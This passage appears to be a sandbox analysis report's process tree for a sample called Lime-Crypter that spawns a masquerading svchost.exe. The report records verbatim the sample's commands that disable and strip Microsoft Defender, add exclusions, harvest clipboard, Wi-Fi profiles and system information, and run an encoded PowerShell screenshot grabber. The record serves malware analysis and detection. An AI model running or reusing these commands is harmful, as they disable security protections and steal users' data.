        C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe"
        32⤵
        
        PID:6500
        
        C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe"
        33⤵
        
        PID:6572
        
        C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe"
        34⤵
        
        PID:7140
        
        C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe"
        35⤵
        
        PID:728
        
        C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe"
        36⤵
        
        PID:6148
        
        C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe"
        37⤵
        
        PID:2988
        
        C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe"
        38⤵
        
        PID:1836
        
        C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe"
        39⤵
        
        PID:5156
        
        C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe"
        40⤵
        
        PID:6880
        
        C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe"
        41⤵
        
        PID:6656
        
        C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe"
        42⤵
        
        PID:4372
        
        C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe"
        43⤵
        
        PID:3084
        
        C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe"
        44⤵
        
        PID:6164
        
        C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe"
        45⤵
        
        PID:6448
        
        C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe"
        46⤵
        
        PID:6604
        
        C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe"
        47⤵
        
        PID:6256
        
        C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe"
        48⤵
        
        PID:3780
        
        C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe"
        49⤵
        
        PID:6304
        
        C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe"
        50⤵
        
        PID:1360
        
        C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe"
        51⤵
        
        PID:5284
        
        C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe"
        52⤵
        
        PID:6732
        
        C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe"
        53⤵
        
        PID:3328
        
        C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe"
        54⤵
        
        PID:1404
        
        C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe"
        55⤵
        
        PID:5256
        
        C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Lime-Crypter.exe"
        56⤵
        
        PID:6176
        
        C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        55⤵
        
        PID:5060
        
        C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        56⤵
        
        PID:3548
        
        C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        54⤵
        
        PID:6784
        
        C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        55⤵
        
        PID:5816
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\svchost.exe'"
        56⤵
        
        PID:3792
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\svchost.exe'
        57⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6660
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
        56⤵
        Executes a command shell one-liner
        
        PID:6908
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
        57⤵
        Command and Scripting Interpreter: PowerShell
        Disables one or more Microsoft Defender components
        
        PID:3980
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'"
        56⤵
        Executes a command shell one-liner
        
        PID:6764
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'
        57⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3444
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        56⤵
        
        PID:6864
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        57⤵
        Discovers running processes
        
        PID:6240
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        56⤵
        
        PID:4364
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        57⤵
        Discovers running processes
        
        PID:996
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
        56⤵
        Executes a command shell one-liner
        
        PID:6488
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
        57⤵
        
        PID:3888
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
        56⤵
        Clipboard Data
        
        PID:6396
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-Clipboard
        57⤵
        Clipboard Data
        
        PID:4464
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        56⤵
        Executes a command shell one-liner
        
        PID:6264
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        57⤵
        Discovers running processes
        
        PID:5508
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        56⤵
        Executes a command shell one-liner
        
        PID:6184
        
        C:\Windows\system32\tree.com
        
        tree /A /F
        57⤵
        
        PID:6996
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
        56⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:6948
        
        C:\Windows\system32\netsh.exe
        
        netsh wlan show profile
        57⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:2320
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "systeminfo"
        56⤵
        
        PID:6828
        
        C:\Windows\system32\systeminfo.exe
        
        systeminfo
        57⤵
        Gathers system information
        
        PID:1388
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
        56⤵
        
        PID:6768
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
        57⤵
        
        PID:6220
        
        C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        53⤵
        
        PID:6736
        
        C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        54⤵
        
        PID:1512
        
        C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        52⤵
        
        PID:5836
        
        C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        53⤵
        
        PID:3252
        
        C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        51⤵
        
        PID:6800
        
        C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        52⤵
        
        PID:6688
        
        C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        50⤵
        
        PID:5768
        
        C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        51⤵
        
        PID:7120
        
        C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        49⤵
        
        PID:6876
        
        C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        50⤵
        
        PID:6368
        
        C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        48⤵
        
        PID:1260
        
        C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        49⤵
        
        PID:608
        
        C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        47⤵
        
        PID:5652
        
        C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        48⤵
        
        PID:3164
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\svchost.exe'"
        49⤵
        Executes a command shell one-liner
        
        PID:4452
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\svchost.exe'
        50⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5856
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
        49⤵
        
        PID:6444
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
        50⤵
        Command and Scripting Interpreter: PowerShell
        Disables one or more Microsoft Defender components
        
        PID:4792
        
        C:\Program Files\Windows Defender\MpCmdRun.exe
        
        "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
        50⤵
        Deletes Windows Defender Definitions
        
        PID:5556
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ‎  ‌.scr'"
        49⤵
        
        PID:1780
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ‎  ‌.scr'
        50⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5900
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        49⤵
        
        PID:6520
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        50⤵
        Discovers running processes
        
        PID:7100
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        49⤵
        
        PID:6212
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        50⤵
        Discovers running processes
        
        PID:1772
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
        49⤵
        
        PID:4176
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
        50⤵
        
        PID:1472
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
        49⤵
        Clipboard Data
        
        PID:2676
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-Clipboard
        50⤵
        Clipboard Data
        
        PID:2056
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        49⤵
        Executes a command shell one-liner
        
        PID:4092
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        50⤵
        Discovers running processes
        
        PID:4992
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        49⤵
        
        PID:6292
        
        C:\Windows\system32\tree.com
        
        tree /A /F
        50⤵
        
        PID:2972
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
        49⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:6260
        
        C:\Windows\system32\netsh.exe
        
        netsh wlan show profile
        50⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:4088
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "systeminfo"
        49⤵
        
        PID:6856
        
        C:\Windows\system32\systeminfo.exe
        
        systeminfo
        50⤵
        Gathers system information
        
        PID:3960
        
        C:\Windows\system32\cmd.exe
        
